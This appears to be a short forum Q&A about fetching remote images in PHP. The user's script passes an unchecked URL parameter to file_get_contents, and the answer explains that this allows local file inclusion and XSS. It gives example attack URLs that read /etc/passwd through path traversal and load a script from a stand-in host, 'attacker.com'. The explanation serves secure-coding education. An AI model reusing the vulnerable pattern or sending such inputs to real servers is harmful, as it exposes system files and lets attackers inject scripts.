Get image from other site in PHP I would like to get images from other websites.

This is my current method but I'm not sure if it is alright.

&lt;?php
  header('Content-Type: '.image_type_to_mime_type(exif_imagetype($_GET['url'])));
  echo(file_get_contents($_GET['url']));
?&gt;


If not, how should I do it?
Your code is vulnerable to LFI and XSS. 

http://localhost/yourscript.php?url=../../../../../../etc/passwd


This would load the local file /etc/passwd and display it.

http://localhost/yourscript.php?url=http://attacker.com/xss.php


This would load and display the remote file xss.php, which would lead to XSS.

For better solutions, see eg here. When outputting images, you should use the image output functions such as imagejpeg, not generic file loading functions.